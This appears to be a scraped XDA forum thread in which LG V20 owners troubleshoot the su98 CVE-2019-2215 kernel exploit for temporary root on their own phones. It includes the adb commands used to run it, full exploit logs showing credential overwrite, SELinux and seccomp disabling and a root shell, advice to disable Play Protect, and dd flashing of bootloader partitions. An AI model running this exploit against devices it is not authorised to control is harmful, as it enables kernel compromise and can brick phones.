yashsingh1/xdaforums huggingface dataset:
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
The command text from op. White box black text. Copy all and paste in one paste
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
Did you get it to go through?
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
I will try soon as possible. I was busy
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysteriouslog6:
I will try it again as I already do have root but I will try also the original file doesn't have the .c extension try removing that and removing all extensions it will show that the file type is file try this not sure if there is a difference
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
i tried now and this is the log

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Alle Rechte vorbehalten.

C:\Users\User>adb push su98 /data/local/tmp

* daemon not running; starting now at tcp:5037

* daemon started successfully

adb: error: cannot stat 'su98': No such file or directory

C:\Users\User>

C:\Users\User>

C:\Users\User>adb shell

cd /data/local/tmp

chmod 755 su98

./su98

./su98 -n

elsa:/ $

elsa:/ $

elsa:/ $

elsa:/ $ cd /data/local/tmp

elsa:/data/local/tmp $

elsa:/data/local/tmp $

elsa:/data/local/tmp $

elsa:/data/local/tmp $ chmod 755 su98

chmod: su98: No such file or directory

1|elsa:/data/local/tmp $

1|elsa:/data/local/tmp $

1|elsa:/data/local/tmp $

1|elsa:/data/local/tmp $

1|elsa:/data/local/tmp $ ./su98

/system/bin/sh: ./su98: not found

127|elsa:/data/local/tmp $

127|elsa:/data/local/tmp $

127|elsa:/data/local/tmp $

127|elsa:/data/local/tmp $

127|elsa:/data/local/tmp $

127|elsa:/data/local/tmp $ ./su98 -n

/system/bin/sh: ./su98: not found

127|elsa:/data/local/tmp $

file su98.c is in same folder where opened the window propmpt command
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysteriouslog6:
Ok going to try it and see if it works pls do wait as I am doing something else right now but I will see soon

---------- Post added at 06:53 AM ---------- Previous post was at 06:16 AM ----------

This is the log i got I used su98.c in the command line not su98

Microsoft Windows [Version 10.0.19042.388]

(c) 2020 Microsoft Corporation. All rights reserved.

C:\Users\mayuk>adb push C:\Users\mayuk\Downloads\su98.c /data/local/tmp

C:\Users\mayuk\Downloads\su98.c: 1 file pushed, 0 skipped. 8.0 MB/s (36928 bytes in 0.004s)

C:\Users\mayuk>adb shell

elsa:/ $ cd /data/local/tmp

elsa:/data/local/tmp $ chmod 755 su98.c

elsa:/data/local/tmp $ ./su98

/system/bin/sh: ./su98: not found

127|elsa:/data/local/tmp $ ./su98.c

MAIN: starting exploit for devices with waitqueue at 0x98

PARENT: soon will be calling WRITEV

CHILD: Doing EPOLL_CTL_DEL.

CHILD: Finished EPOLL_CTL_DEL.

CHILD: initial portion length 0x12000

CHILD: task_struct_ptr = 0x0

PARENT: writev() returns 0x13008

PARENT: Reading leaked data

CHILD: task_struct_ptr = 0x0

CHILD: Finished write to FIFO.

CHILD: **fail** problematic address pointer, e.g., 0

MAIN: **fail** retrying

PARENT: soon will be calling WRITEV

CHILD: Doing EPOLL_CTL_DEL.

CHILD: Finished EPOLL_CTL_DEL.

CHILD: initial portion length 0x12000

CHILD: task_struct_ptr = 0x0

PARENT: writev() returns 0x13008

PARENT: Reading leaked data

CHILD: task_struct_ptr = 0x0

CHILD: Finished write to FIFO.

CHILD: **fail** problematic address pointer, e.g., 0

MAIN: **fail** retrying

PARENT: soon will be calling WRITEV

CHILD: Doing EPOLL_CTL_DEL.

CHILD: Finished EPOLL_CTL_DEL.

CHILD: initial portion length 0x12000

CHILD: task_struct_ptr = 0x0

PARENT: writev() returns 0x13008

PARENT: Reading leaked data

CHILD: task_struct_ptr = 0x0

CHILD: Finished write to FIFO.

CHILD: **fail** problematic address pointer, e.g., 0

MAIN: **fail** retrying

Failed to leak data: error

1|elsa:/data/local/tmp $

the error is due to me already having root as all the new kernels like mk200 and EzV2020 uses 3.18.140 not 3.18.70
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
Kernel version is 3.18.71

Android oreo

Security patch april 2019

Software version 20b twn
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysteriouslog6:
This kernel should work
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
Yes but don't Wana work and I don't know why
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
Well, its trying I can see. The last thing I can think of is if you have the whole zip, not just the one file, extract and copy the whole extracted folder to adb folder and launch adb and then use the whole command text from op. I have no idea otherwise. This will help ensure all files needed are read at least.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
Sorry which zip do youmean? The only file downloaded is su98.c
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
I thought you had zip. Here is zip that has the su98, and su98.c. Or even now try the su98 file, not the su98.c. That could be your issue this whole time.

The op command text shows "su98" not "su98.c". If you wanna read the su98.c, you have to add .c after su98 in command lines.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
Many thanks i will try soon as possible

i need to extract and puch only su98 file or entire zip
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
Try only su98...but have whole extracted folder in adb folder for it to read from.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
hi here the log

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Alle Rechte vorbehalten.

C:\Users\User>adb push "C:\Users\User\Desktop\Neuer Ordner\cve2019-2215-3.18-4c0

f97b\cve2019-2215-3.18-4c0f97b\su98"/data/local/tmp

adb: usage: push requires an argument

C:\Users\User>adb push su98 /data/local/tmp

adb: error: cannot stat 'su98': No such file or directory

C:\Users\User>adb push su98 /data/local/tmp

adb: error: cannot stat 'su98': No such file or directory

C:\Users\User>

C:\Users\User>adb push "C:\Users\User\Desktop\Neuer Ordner\cve2019-2215-3.18-4c0

f97b\cve2019-2215-3.18-4c0f97b\su98.c" /data/local/tmp

C:\Users\User\Desktop\Neuer Ordner\cve...shed. 0.7 MB/s (45561 bytes in 0.062s)

C:\Users\User>adb shell

elsa:/ $ cd /data/local/tmp

elsa:/data/local/tmp $ chmod 755 su98

chmod: su98: No such file or directory

1|elsa:/data/local/tmp $ ./su98

/system/bin/sh: ./su98: not found

127|elsa:/data/local/tmp $

i tried but results not wana change
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
Are you using whole command text from op in one paste? It looks like only one command line is being ran from op text in box. Run whole copied text. Other than that I don't know why issue. I have gave all my insights.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
I will try another time. In extracted files I push the window prompt command but I didn't found any apk only script files. Many thanks in advance
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
The apk is located in the release folder of the extracted zip I provided. It's called app-release.apk.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
hi here is the last log

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Alle Rechte vorbehalten.

C:\Windows\system32>adb devices

List of devices attached

LGH990c8d23f54 device

C:\Windows\system32>adb push su98 /data/local/tmp

adb: error: cannot stat 'su98': No such file or directory

C:\Windows\system32>adb shell

cd /data/local/tmp

chmod 755 su98

./su98elsa:/ $ cd /data/local/tmp

elsa:/data/local/tmp $ chmod 755 su98

chmod: su98: No such file or directory

1|elsa:/data/local/tmp $ ./su98
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
Adb push the "app-release.apk to data on cell or install via cell, then re run all text from op via adb on next command line. Make sure as usual its reading all files from proper directory/location.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
nothing changed

log

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Alle Rechte vorbehalten.

C:\Windows\system32>adb push apprelease.apk

adb: usage: push requires an argument

C:\Windows\system32>

C:\Windows\system32>adb push su98 /data/local/tmp

adb: error: cannot stat 'su98': No such file or directory

C:\Windows\system32>adb shell

cd /data/local/tmp

chmod 755 su98

./su98elsa:/ $ cd /data/local/tmp

elsa:/data/local/tmp $ chmod 755 su98

chmod: su98: No such file or directory

1|elsa:/data/local/tmp $ ./su98
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
In first command type push app-release.apk . Everything need to be typed as it is for files
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
Did it (only rename the apk file for the keyboard)
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
Well ****, I have no idea why it's not working.

Did you try to manually install on your cell, and then run adb, adb phone, then run commands?
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
Yes but playprotect said that's a fake and not goes to install.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
I have my play protect off. Try that way.

Another option is try to push apk followed with chmod 755 in same command. (Basically a push with permissions). Then other commands
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
You need play protect off to use. In order to shutoff, do it through playstore hamburger menu, then play protect, and then upper right corner gear, and then turn off toggles.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
the apk is installed

when open say this

current status sbin su98 not installed

ask me if want install on boot or uninstall

on pc change nothing here last log with some combo that i tried but nothing new

log

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Alle Rechte vorbehalten.

C:\Windows\system32>

C:\Windows\system32>chmod 755 su98

Der Befehl "chmod" ist entweder falsch geschrieben oder

konnte nicht gefunden werden.

C:\Windows\system32>adb push su98 /data/local/tmp

adb: error: cannot stat 'su98': No such file or directory

C:\Windows\system32>adb shell

elsa:/ $

elsa:/ $ cd /data/local/tmp

elsa:/data/local/tmp $ ./su98

/system/bin/sh: ./su98: not found

127|elsa:/data/local/tmp $

127|elsa:/data/local/tmp $ ./su98 -n

/system/bin/sh: ./su98: not found

127|elsa:/data/local/tmp $

127|elsa:/data/local/tmp $ adb push su98 /data/local/tmp

/system/bin/sh: adb: not found

127|elsa:/data/local/tmp $ adb shell

/system/bin/sh: adb: not found

127|elsa:/data/local/tmp $ cd /data/local/tmp

elsa:/data/local/tmp $ chmod 755 su98

chmod: su98: No such file or directory

1|elsa:/data/local/tmp $ ./su98chmod 755 su98

/system/bin/sh: ./su98chmod: not found

127|elsa:/data/local/tmp $ ./su98

/system/bin/sh: ./su98: not found

127|elsa:/data/local/tmp $

130|elsa:/data/local/tmp $
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
Ok cool, it installed now. As for adb... Read device, enter all commands from text in op in one shot (copy/paste). Reboot phone. Re run apk a few times/ attempt a few times trying to run it. It may take a few attempts.

I have no idea why I keeps saying no such file if you are attempting adb with right file path.

I personally do not know what else.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
Run until is as bin installed?
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
Yeah...run/ attempt install through apk
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
Only one reboot through adb after the whole command but nothing changed.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
After 4 hours ( yes cause v10b don't know why worked but camera had mirror effect and not with v10e)i downgraded to nougat (better for me)

Now

Kernel version is 3.18.31

Security patch November 2017

Log didn't change
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
Now you definitely won't get this exploit to work, this is for Oreo only.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
S..t.

Didn't know

In fastboot have any chance to use the thread prompt commands?
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
I honestly don't know. All I know is that this exploit is for Oreo/ kernel version 3.18.71
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
Update via ota to oreo

V20a kernel 3.18.71 but nothing changed

Perhaps is somethng on my pc
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
This might be a dumb question....but are you syncing your phone via ADB with the "photo transfer" option in box that pops up in phone asking how to connect to PC?

I remember I had trouble with ADB until I used that option, not file transfer. File transfer is only for other media/files, but as for adb files to system, you need the photo transfer. At least for the V20 anyway. I can't remember if for other phones also.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
I'm sure that tried as mtp and midi but forget to try as photo transfer
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
Well hopefully that's the solution to this.

So yeah...

- phone to PC with "photo transfer"

- then run ADB

- {Try to type "adb shell" as a command - might help, might not be needed. Shouldn't hurt regardless.}

- ADB device

- enter text from op (copy/paste) for command

- exploit should fire
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
Sorry tried oreo nuogat with kernel in thread but as ptp mtp midi don't wana go.

I need root only for 2 apps leandroid and titanium but for me was important with the first
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysteriouslog6:
Just to clarify su98.c and su98 are the same just rename and remove the .c
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Zulqarnain_Khan:
Thanks both of you.! #savage.!!

It's all inside, i've just copied the last command almost, patching the magisk_patched.img for my LS997(Oreo-Bl_locked).??

C:\Users\Zulqarnain Khan\Downloads\Compressed\cve2019-2215-3.18-4c0f97b\cve2019-2215-3.18-4c0f97b>adb push su98 /data/local/tmp
su98: 1 file pushed. 0.8 MB/s (41040 bytes in 0.047s)

C:\Users\Zulqarnain Khan\Downloads\Compressed\cve2019-2215-3.18-4c0f97b\cve2019-2215-3.18-4c0f97b>adb shell
elsa:/ $ cd /data/local/tmp
elsa:/data/local/tmp $ chmod 755 su98
elsa:/data/local/tmp $ ./su98
MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffc08011ae00
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffc0b51b4ca0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xffffffc0601bc000
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: thread_info should be in stack
MAIN: parsing kernel stack to find thread_info
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffc08011ae00
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffc055f058a0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
CHILD: extra leak
PARENT: writev() returns 0x17008
CHILD: Finished write to FIFO.
PARENT: Reading leaked data
PARENT: Reading extra leaked data
PARENT: leaking successful
MAIN: task_struct_ptr = ffffffc08011ae00
MAIN: thread_info_ptr = ffffffc0601bc000
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xffffffc0601bc008
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
MAIN: thread_info = 0xffffffc0601bc000
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct
CHILD: wrote 69648
MAIN: search_base = ffffffc000000000
MAIN: searching for selinux_enforcing
MAIN: setting root credentials with cred offset 550
MAIN: UID = 0
MAIN: enabling capabilities
MAIN: SECCOMP status 0
MAIN: disabled selinux enforcing
MAIN: re-joining init mount namespace
MAIN: rejoining init net namespace
MAIN: root privileges ready
MAIN: popping out root shell
elsa:/data/local/tmp # cd /root
elsa:/root # ls
elsa:/root # mkdir test
mkdir: 'test': Read-only file system
1|elsa:/root # ls
elsa:/root # test
1|elsa:/root # ls
elsa:/root # cp /dev/block/bootdevice/by-name/boot /storage/emulated/0/Download/boot.img
elsa:/root # exit
elsa:/data/local/tmp $
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Phoenix591:
Read more carefully, it's in BOLD and colored that this has no chance of rooting an ls997 in any sense besides the temporary root shell that su98 gives you.. You actually flash the boot image you at least softbrick. This is why I burnt out.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
I purchased a motherboard on aliexpress model us996 but after mount sd card not worked and sim card read but not works as hoped. Full refund after item return and now I'm still with h990ds nougat (cause for me is better as oreo) without exploit.

Now question:is anibody there that works on nougat exploit?

Thanks in advance
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysteriouslog6:
You can use Dortysanta
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] TarAntonio:
Yes at the end I successfully bootloader unlocked my h990ds with dirty Santa and flashed super v20 Rom (very smoothly run) I'm happy now
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysteriouslog6:
Just wanted to know how did you even download the rom as I am unable to visit the site if possible could you please send the download link
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] ezzony:
I need to get temp root to fix my device. It's on Pie. It can't be dirtysanta'd (long story). Any hope or advise?
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Mysticblaze347:
I am guessing this is on an unlocked bootloader. My bootloader is locked (ls997) so I am not sure if will work for me. Be awesome If I can do twrp this way. I do have the shell running. Even a new kernel would be awesome via this way.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Chhayank_Sharma:
if anyone still has su98 file, please upload it somewhere and provide link. it is no longer available on github.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] el-sahef:
It's still available here:

https://xdaforums.com/t/3-18-71-per...-lg-v20-variants.3990145/page-5#post-83247423

https://xdaforums.com/t/root-with-cve-2019-2215.3979341/page-9#post-80702567
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Chhayank_Sharma:
I ran it and this is the output:

X304L:/data/data/yarolegovich.materialterminal $ ./su98

MAIN: detected kernel version 3

MAIN: starting exploit for devices with waitqueue at 0x98

PARENT: soon will be calling WRITEV

CHILD: Doing EPOLL_CTL_DEL.

CHILD: Finished EPOLL_CTL_DEL.

CHILD: initial portion length 0x12000

CHILD: task_struct_ptr = 0xffffffc035a4e600

CHILD: clobbering with extra leak structures

PARENT: clobbering at 0xffffffc01a9b76a0

CHILD: Doing EPOLL_CTL_DEL.

CHILD: Finished EPOLL_CTL_DEL.

CHILD: wrote 69688

PARENT: readv returns 69688, expected 69688

PARENT: clobbering test passed

CHILD: clobbered

PARENT: writev() returns 0x13008

PARENT: Reading leaked data

CHILD: task_struct_ptr = 0xffffffc00b7f8000

CHILD: Finished write to FIFO.

PARENT: leaking successful

MAIN: thread_info should be in stack

MAIN: parsing kernel stack to find thread_info

PARENT: soon will be calling WRITEV

CHILD: Doing EPOLL_CTL_DEL.

CHILD: Finished EPOLL_CTL_DEL.

CHILD: initial portion length 0x12000

CHILD: task_struct_ptr = 0xffffffc035a4e600

CHILD: clobbering with extra leak structures

PARENT: clobbering at 0xffffffc01a9b76a0

CHILD: Doing EPOLL_CTL_DEL.

CHILD: Finished EPOLL_CTL_DEL.

PARENT: readv returns 69688, expected 69688

PARENT: clobbering test passed

CHILD: clobbered

CHILD: extra leak

CHILD: Finished write to FIFO.

PARENT: writev() returns 0x17008

PARENT: Reading leaked data

PARENT: Reading extra leaked data

PARENT: leaking successful

MAIN: task_struct_ptr = ffffffc035a4e600

MAIN: thread_info_ptr = ffffffc00b7f8000

MAIN: Clobbering addr_limit

PARENT: clobbering at 0xffffffc00b7f8008

CHILD: Doing EPOLL_CTL_DEL.

CHILD: Finished EPOLL_CTL_DEL.

PARENT: readv returns 69648, expected 69648

PARENT: clobbering test passed

MAIN: thread_info = 0xffffffc00b7f8000

MAIN: should have stable kernel R/W now

MAIN: searching for cred offset in task_struct

MAIN: search_base = ffffffc000000000

MAIN: searching for selinux_enforcing

MAIN: searching for kallsyms table

CHILD: wrote 69648

MAIN: kallsyms names start at 0xffffffc000f76c00 and have 129556 entries

MAIN: kallsyms names end at 0xffffffc001073ca0

MAIN: direct search didn't work, so searching via avc_denied

MAIN: searching for kallsyms table

MAIN: setting root credentials with cred offset 670

MAIN: UID = 0

MAIN: enabling capabilities

MAIN: SECCOMP status 2

MAIN: disabling SECCOMP

MAIN: seccomp offset ad8

MAIN: SECCOMP status 0

MAIN: **FAIL** did not find selinux_enforcing symbol

MAIN: re-joining init mount namespace

open: No such file or directory

1|X304L:/data/data/yarolegovich.materialterminal $

what is the problem and what should i do??
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] el-sahef:
Your ROM might be too new for the exploit to work. What is your current ROM / KDZ version and region? You can also check the date of the security patch.

I don't know if it is important to follow everything to the letter but to make sure maybe you should use the instructions in the first post exactly as described:

This is how it always works for me on Oreo v20a for H990ds AME variant (my first H990ds). It might be possible that Oreo v20b is too new, I can't remember if I downgraded to Oreo v20a for the exploit on H990ds TWN variant (my second H990ds). After the root shell appears I use the dd command to directly flash the engineering aboot.img from dirty-santa zip file to aboot and abootbak partitions and twrp recovery .img file to recovery and recoverybak partitions. Much easier than the dirty santa unlock process and does not require downgrading to nougat. I have no idea why so many people still do the old method.

After that you can downgrade and upgrade to any other KDZ (nougat or oreo) with the patched LGUP using partition DL option. Select all partitons except aboot, abootbak, recovery and recoverybak to keep bootloader unlock and TWRP. After flashing KDZ with partition DL option always go to TWRP directly afterwards (before booting to system) to flash kernel e. g. ezV2020 and Magisk to prevent static boot graphics errors and TWRP being overwritten.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Chhayank_Sharma:
I dont think thats the issue as i am running android 8.1 with kernel 3.18.71 and the security patch level is of 5 july 2019. it seems to be successful in leaking memory but is unable to find the selinux enforcing variable in that memory.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] Chhayank_Sharma:
update: i figured it out. i needed to run su98-memory-kallsyms instead of su98. it worked.
[LG V20 ROMs, Kernels, Recoveries, & Other Developm] el-sahef:
So I suppose you are not using this on a LG V20, am I correct? Because as far as I know there was never any V20 variant that got Oreo 8.1 instead of Oreo 8.0. Or did I miss something?